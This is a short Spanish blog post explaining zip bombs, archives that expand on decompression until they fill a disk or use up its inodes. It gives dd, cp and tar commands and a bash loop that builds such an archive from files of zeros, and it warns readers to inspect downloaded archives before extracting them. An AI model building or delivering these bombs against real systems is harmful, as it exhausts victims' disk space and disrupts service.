Zip of Death – Bombas que te llenan el disco duro

Las bombas zip en realidad pueden crearse en archivos tar.gz , es decir, se llaman bombas zip pero no importa demasiado que formato de compresión usemos al final de cuentas.

Digamos que si un archivo contiene todo el tiempo “hola ” y ocupa 10Mb. Si ese archivo se copia 2000 veces y se comprime luego los algoritmos de compresión detectarán el patrón que se repite y en vez de almacenar “hola hola hola …” todo el rato pues almacenarán que hola se repite nosecuantas veces y fuera (no exactamente así es una simplificación absurda). Al descomprimir se generará por tanto de nuevo el archivo y pasará a ocupar un montón.

Veamos un ejemplo sencillo:

$ dd if=/dev/zero of=archivo.txt bs=1M count=10

Eso generará un archivo llamado archivo.txt de 10 Mb.

Podemos copiarlo varias veces:

$ cp -pRv archivo.txt archivo1.txt 
$ cp -pRv archivo.txt archivo2.txt 
$ cp -pRv archivo.txt archivo3.txt 
...

Y comprimirlo con gzip en un tar:

$ tar cfvz bomba.tar.gz archivo*

Si mirásemos con du -h * los tamaños de los archivos veríamos que el tar.gz ocupa unos cuantos Kb

El problema de esto es que tendriamos el limite de crear un tar.gz del maximo que podamos tener en el espacio libre de nuestro sistema ya que tar permite seguir añadiendo archivos pero no si es un tar.gz, es decir, si podemos con -A seguir metiendo archivos siempre que no esté comprimido.

Es por esto que podemos mejor usar zip para crear una bomba con por ejemplo este script en bash:

#!/bin/bash
dd if=/dev/zero of=archivo1.txt bs=1M count=100; sleep 1

for i in `seq 1 100`;
do
        let x=i+1
        mv "archivo$i.txt" "archivo$x.txt"
        zip -9 bomba.zip "archivo$x.txt"
done

Si se quiere más y más grande se cambia seq 1 100 por por ejemplo seq 1 9999 pero tardará más.

Esto mismo se puede hacer con rar y otros formatos. Es solamente un ejemplo y seguramente existan mejores formas de realizar una bomba zip. Posiblemente buscando un poco podáis bajaros alguna pero no la descomprimáis sin mirar un poco antes el archivo y tomando precauciones.

La bomba puede explotar en tamaño pero podría también explotar en número de archivos, es decir, tener tantos archivos que al descomprimir nos quedemos sin inodes en el disco (eso no lo he probado aunque lo he visto en algún server pasar con logs descontrolados o programas que petan y van dejando miles de archivos en pocas horas).

próximo Publicación

Atrás Publicación

Dejar una contestacion

© 2018 [ MIERDA TV ]

Tema de Anders Norén